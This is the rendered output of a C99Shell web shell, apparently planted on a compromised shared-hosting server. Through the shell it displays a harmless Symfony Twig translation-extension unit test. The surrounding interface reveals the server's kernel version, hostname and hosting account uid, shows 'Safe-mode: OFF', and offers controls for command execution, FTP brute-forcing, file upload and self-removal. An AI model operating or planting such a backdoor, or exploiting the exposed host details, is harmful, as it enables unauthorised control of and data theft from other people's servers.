!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/TwigBridge/Symfony/Bridge/Twig/Tests/Extension/   drwxr-xr-x
Free 291.69 GB of 429.69 GB (67.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TranslationExtensionTest.php (7.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Bridge\Twig\Tests\Extension;

use 
Symfony\Bridge\Twig\Extension\TranslationExtension;
use 
Symfony\Component\Translation\Translator;
use 
Symfony\Component\Translation\MessageSelector;
use 
Symfony\Component\Translation\Loader\ArrayLoader;

class 
TranslationExtensionTest extends \PHPUnit_Framework_TestCase
{
    public function 
testEscaping()
    {
        
$output $this->getTemplate('{% trans %}Percent: %value%%% (%msg%){% endtrans %}')->render(array('value' => 12'msg' => 'approx.'));

        
$this->assertEquals('Percent: 12% (approx.)'$output);
    }

    
/**
     * @dataProvider getTransTests
     */
    
public function testTrans($template$expected, array $variables = array())
    {
        if (
$expected != $this->getTemplate($template)->render($variables)) {
            print 
$template."\n";
            
$loader = new \Twig_Loader_Array(array('index' => $template));
            
$twig = new \Twig_Environment($loader, array('debug' => true'cache' => false));
            
$twig->addExtension(new TranslationExtension(new Translator('en', new MessageSelector())));

            echo 
$twig->compile($twig->parse($twig->tokenize($twig->getLoader()->getSource('index'), 'index')))."\n\n";
            
$this->assertEquals($expected$this->getTemplate($template)->render($variables));
        }

        
$this->assertEquals($expected$this->getTemplate($template)->render($variables));
    }

    
/**
     * @expectedException        \Twig_Error_Syntax
     * @expectedExceptionMessage Unexpected token. Twig was looking for the "with", "from", or "into" keyword in "index" at line 3.
     */
    
public function testTransUnknownKeyword()
    {
        
$output $this->getTemplate("{% trans \n\nfoo %}{% endtrans %}")->render();
    }

    
/**
     * @expectedException        \Twig_Error_Syntax
     * @expectedExceptionMessage A message inside a trans tag must be a simple text in "index" at line 2.
     */
    
public function testTransComplexBody()
    {
        
$output $this->getTemplate("{% trans %}\n{{ 1 + 2 }}{% endtrans %}")->render();
    }

    
/**
     * @expectedException        \Twig_Error_Syntax
     * @expectedExceptionMessage A message inside a transchoice tag must be a simple text in "index" at line 2.
     */
    
public function testTransChoiceComplexBody()
    {
        
$output $this->getTemplate("{% transchoice count %}\n{{ 1 + 2 }}{% endtranschoice %}")->render();
    }

    public function 
getTransTests()
    {
        return array(
            
// trans tag
            
array('{% trans %}Hello{% endtrans %}''Hello'),
            array(
'{% trans %}%name%{% endtrans %}''Symfony2', array('name' => 'Symfony2')),

            array(
'{% trans from elsewhere %}Hello{% endtrans %}''Hello'),

            array(
'{% trans %}Hello %name%{% endtrans %}''Hello Symfony2', array('name' => 'Symfony2')),
            array(
'{% trans with { \'%name%\': \'Symfony2\' } %}Hello %name%{% endtrans %}''Hello Symfony2'),
            array(
'{% set vars = { \'%name%\': \'Symfony2\' } %}{% trans with vars %}Hello %name%{% endtrans %}''Hello Symfony2'),

            array(
'{% trans into "fr"%}Hello{% endtrans %}''Hello'),

            
// transchoice
            
array('{% transchoice count from "messages" %}{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples{% endtranschoice %}',
                
'There is no apples', array('count' => 0)),
            array(
'{% transchoice count %}{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples{% endtranschoice %}',
                
'There is 5 apples', array('count' => 5)),
            array(
'{% transchoice count %}{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples (%name%){% endtranschoice %}',
                
'There is 5 apples (Symfony2)', array('count' => 5'name' => 'Symfony2')),
            array(
'{% transchoice count with { \'%name%\': \'Symfony2\' } %}{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples (%name%){% endtranschoice %}',
                
'There is 5 apples (Symfony2)', array('count' => 5)),
            array(
'{% transchoice count into "fr"%}{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples{% endtranschoice %}',
                
'There is no apples', array('count' => 0)),

            
// trans filter
            
array('{{ "Hello"|trans }}''Hello'),
            array(
'{{ name|trans }}''Symfony2', array('name' => 'Symfony2')),
            array(
'{{ hello|trans({ \'%name%\': \'Symfony2\' }) }}''Hello Symfony2', array('hello' => 'Hello %name%')),
            array(
'{% set vars = { \'%name%\': \'Symfony2\' } %}{{ hello|trans(vars) }}''Hello Symfony2', array('hello' => 'Hello %name%')),
            array(
'{{ "Hello"|trans({}, "messages", "fr") }}''Hello'),

            
// transchoice filter
            
array('{{ "{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples"|transchoice(count) }}''There is 5 apples', array('count' => 5)),
            array(
'{{ text|transchoice(5, {\'%name%\': \'Symfony2\'}) }}''There is 5 apples (Symfony2)', array('text' => '{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples (%name%)')),
            array(
'{{ "{0} There is no apples|{1} There is one apple|]1,Inf] There is %count% apples"|transchoice(count, {}, "messages", "fr") }}''There is 5 apples', array('count' => 5)),
        );
    }

    public function 
testDefaultTranslationDomain()
    {
        
$templates = array(
            
'index' => '
                {%- extends "base" %}

                {%- trans_default_domain "foo" %}

                {%- block content %}
                    {%- trans %}foo{% endtrans %}
                    {%- trans from "custom" %}foo{% endtrans %}
                    {{- "foo"|trans }}
                    {{- "foo"|trans({}, "custom") }}
                    {{- "foo"|transchoice(1) }}
                    {{- "foo"|transchoice(1, {}, "custom") }}
                {% endblock %}
            '
,

            
'base' => '
                {%- block content "" %}
            '
,
        );

        
$translator = new Translator('en', new MessageSelector());
        
$translator->addLoader('array', new ArrayLoader());
        
$translator->addResource('array', array('foo' => 'foo (messages)'), 'en');
        
$translator->addResource('array', array('foo' => 'foo (custom)'), 'en''custom');
        
$translator->addResource('array', array('foo' => 'foo (foo)'), 'en''foo');

        
$template $this->getTemplate($templates$translator);

        
$this->assertEquals('foo (foo)foo (custom)foo (foo)foo (custom)foo (foo)foo (custom)'trim($template->render(array())));
    }

    protected function 
getTemplate($template$translator null)
    {
        if (
null === $translator) {
            
$translator = new Translator('en', new MessageSelector());
        }

        if (
is_array($template)) {
            
$loader = new \Twig_Loader_Array($template);
        } else {
            
$loader = new \Twig_Loader_Array(array('index' => $template));
        }
        
$twig = new \Twig_Environment($loader, array('debug' => true'cache' => false));
        
$twig->addExtension(new TranslationExtension($translator));

        return 
$twig->loadTemplate('index');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]--